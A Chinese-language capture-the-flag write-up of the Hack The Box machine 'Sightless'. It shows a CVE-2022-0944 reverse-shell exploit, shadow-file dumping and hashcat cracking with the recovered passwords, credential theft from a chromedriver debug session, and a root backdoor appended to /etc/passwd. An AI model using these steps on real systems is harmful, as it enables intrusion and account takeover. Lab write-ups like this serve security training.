目录
连接至HTB服务器并启动靶机
使用nmap对靶机TCP端口进行开放扫描
继续使用nmap对靶机开放的TCP端口进行脚本、服务扫描
首先尝试对靶机FTP服务进行匿名登录
使用curl访问靶机80端口
使用浏览器可以直接访问该域名
使用浏览器直接访问该子域
Getshell
横向移动
查看用户密码
使用hashid判断哈希值类型
特权提升
USER_FLAG:fe4ebd430e1070f00793fce61187ebb1
查看靶机系统网络连接
直接用浏览器访问本地8080端口页面
使用上述凭证登录到Froxlor面板中
ROOT_FLAG:d24b4ff4e9f46a64036377b1a5cd5d33
连接至HTB服务器并启动靶机
靶机IP:10.10.11.32
分配IP:10.10.14.12
使用nmap对靶机TCP端口进行开放扫描
nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.32
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.32
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-09 06:07 EST
Warning: 10.10.11.32 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.32 (10.10.11.32)
Host is up (0.073s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open httpNmap done: 1 IP address (1 host up) scanned in 44.72 seconds
继续使用nmap对靶机开放的TCP端口进行脚本、服务扫描
nmap -p 21,22,80 -sCV 10.10.11.32
首先尝试对靶机FTP服务进行匿名登录
ftp 10.10.11.32
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ftp 10.10.11.32
Connected to 10.10.11.32.
220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
Name (10.10.11.32:kali): anonymous
550 SSL/TLS required on the control channel
ftp: Login failed
ftp> exit
221 Goodbye.
使用curl访问靶机80端口
curl -I http://10.10.11.32
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://10.10.11.32
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 09 Nov 2024 10:58:54 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://sightless.htb/
将靶机IP与该域名进行绑定
echo '10.10.11.32 sightless.htb' >> /etc/hosts
使用浏览器可以直接访问该域名
先对该域名进行一遍简单的子域名搜索
ffuf -u http://sightless.htb/ -H 'Host: FUZZ.sightless.htb' -w ../dictionary/subdomains-top5000.txt -fc 302
再对它进行敏感文件和路径FUZZ
ffuf -u http://sightless.htb/FUZZ -w ../dictionary/Half-Dir.txt -e .bak,.txt,.php,.py,.sh -t 200
这里也是没扫出什么东西来,只能从网页本身的交互点测试
在SQLPad这一栏中,点击Start Now会跳转至:sqlpad.sightless.htb
将该子域与靶机IP进行绑定
echo '10.10.11.32 sqlpad.sightless.htb' >> /etc/hosts
使用浏览器直接访问该子域
显然,这里就是我们找的突破口
我尝试直接在Github上搜索该应用的漏洞
不知道靶机该SQLPad是否存在该漏洞:CVE-2022-0944,但不影响我尝试一下
Getshell
本地侧nc开始监听
nc -lvnp 1425
直接利用该EXP尝试getshell
python exploit.py http://sqlpad.sightless.htb/ 10.10.14.12 1425
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# python exploit.py http://sqlpad.sightless.htb/ 10.10.14.12 1425
Response status code: 400
Response body: {"title":"connect ECONNREFUSED 127.0.0.1:3306"}
Exploit sent, but server responded with status code: 400. Check your listener.
本地侧nc收到回显
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.32] 35302
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# whoami
whoami
root
我没看错吧?直接就是root权限了?尝试查找root_flag的位置
find / -name 'root.txt'
root@c184118df0a6:/var/lib/sqlpad# find / -name 'root.txt'
find / -name 'root.txt'
find: '/sys/devices/virtual/powercap/dtpm': Permission denied
提示没有权限,果然是不出我所料甚至连user_flag都没有权限查看
横向移动
查看根目录
ls /
root@c184118df0a6:/var/lib/sqlpad# ls /
ls /
bin
boot
dev
docker-entrypoint
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
可见目录docker-entrypoint所以我们应该是在docker环境中
查看系统内的用户
cat /etc/passwd
允许登录交互的用户有:root、node、michael
查看用户密码
cat /etc/shadow
root@c184118df0a6:/var/lib/sqlpad# cat /etc/shadow
cat /etc/shadow
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
bin:*:19051:0:99999:7:::
sys:*:19051:0:99999:7:::
sync:*:19051:0:99999:7:::
games:*:19051:0:99999:7:::
man:*:19051:0:99999:7:::
lp:*:19051:0:99999:7:::
mail:*:19051:0:99999:7:::
news:*:19051:0:99999:7:::
uucp:*:19051:0:99999:7:::
proxy:*:19051:0:99999:7:::
www-data:*:19051:0:99999:7:::
backup:*:19051:0:99999:7:::
list:*:19051:0:99999:7:::
irc:*:19051:0:99999:7:::
gnats:*:19051:0:99999:7:::
nobody:*:19051:0:99999:7:::
_apt:*:19051:0:99999:7:::
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::
这里重点是michael用户的密码,但也先暂时也记一下root用户哈希密码没准后续能用上
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/
将两条哈希值保存到文件中,便于爆破
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo '$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/' > michael
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo '$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.' > root
使用hashid判断哈希值类型
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# hashid < michael
Analyzing '$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/'
[+] SHA-512 Crypt
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# hashid < root
Analyzing '$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.'
[+] SHA-512 Crypt
通过man命令查询SHA-512在hashcat中的参数
直接开始爆破居然提示没有加载到hash
hashcat -m 1700 michael ../dictionary/rockyou.txt
这种情况多数是因为哈希类型选错了,这次我们试一下1800
这次成功爆破出了密码
hashcat -m 1800 michael ../dictionary/rockyou.txt
账户:michael
密码:insaneclownposse
接下来,我用弱口令字典跑了ROOT用户的哈希值差不多三分钟
账户:root
密码:blindside
用这个密码直接去登录SSH服务显然是不行的
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ssh root@10.10.11.32
root@10.10.11.32's password:
Permission denied, please try again.
root@10.10.11.32's password:
Permission denied, please try again.
root@10.10.11.32's password:
root@10.10.11.32: Permission denied (publickey,password).
特权提升
使用michael用户凭证,通过SSH服务登录靶机
ssh michael@10.10.11.32
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ssh michael@10.10.11.32
michael@10.10.11.32's password:
Last login: Sat Nov 9 12:08:37 2024 from 10.10.14.18
michael@sightless:~$ whoami
michael
查找user_flag位置并查看其内容
michael@sightless:~$ find / -name 'user.txt' 2>/dev/null
/home/michael/user.txt
michael@sightless:~$ cat /home/michael/user.txt
fe4ebd430e1070f00793fce61187ebb1
USER_FLAG:fe4ebd430e1070f00793fce61187ebb1
查看靶机系统网络连接
ss -tlnp
尝试通过SSH服务将靶机8080端口映射到本地
ssh -N michael@10.10.11.32 -L 8080:localhost:8080
直接用浏览器访问本地8080端口页面
此时观察靶机系统进程可见,john用户在不断的运行Chrome自动化调试程序(chromedriver)
ps -aux | tee | grep john
我们将这个调试程序占用的端口映射到本地
ssh -N michael@10.10.11.32 -L 59025:localhost:59025
再次查看靶机网络连接
因为不知道该程序还用了哪些端口进行调试,所以我们多转发几个可疑端口
ssh -N michael@10.10.11.32 -L 41829:localhost:41829
ssh -N michael@10.10.11.32 -L 36607:localhost:36607
打开Chrome浏览器,地址栏输入:chrome://inspect/#devices。进入调试配置界面
点击Configure配置好转发端口,这里最好用127.0.0.1不要用localhost
接着就能收到一堆目标向:http://admin.sightless.htb:8080/index.php的调试
接着点击inspect即可进入调试界面
依此点击:Network->index.php->Payload。即可获取登录密码
账户:admin
密码:ForlorfroxAdmin
使用上述凭证登录到Froxlor面板中
在翻找了一顿后,找到了这个东东:PHP-FPM
PHP - FPM是一种基于FastCGI协议的PHP进程管理器,它负责启动、管理PHP进程,根据服务器负载动态调整进程数量,接收Web服务器的PHP请求,有效处理并返回结果,能提高性能、优化内存管理、增强系统稳定性且具有配置灵活性。
这个位置似乎允许我们执行命令
我尝试往/etc/passwd加入一个无密码管理员用户
首先在靶机/tmp目录下新建一个脚本,内容如下
echo "echo '0dayhp::0:0:0dayhp:/root:/bin/bash' >> /etc/passwd" > test.sh
再将restart command修改为:/bin/bash /tmp/test.sh
过一会再查看/etc/passwd文件,会发现无密码管理员用户已经被成功添加
cat /etc/passwd
切换到0dayhp用户
su 0dayhp
michael@sightless:/tmp$ su 0dayhp
root@sightless:/tmp# whoami
root
查找root_flag位置并查看其内容
root@sightless:/tmp# find / -name 'root.txt'
/root/root.txt
find: ‘/proc/1647/task/1647/net’: Invalid argument
find: ‘/proc/1647/net’: Invalid argument
root@sightless:/tmp# cat /root/root.txt
d24b4ff4e9f46a64036377b1a5cd5d33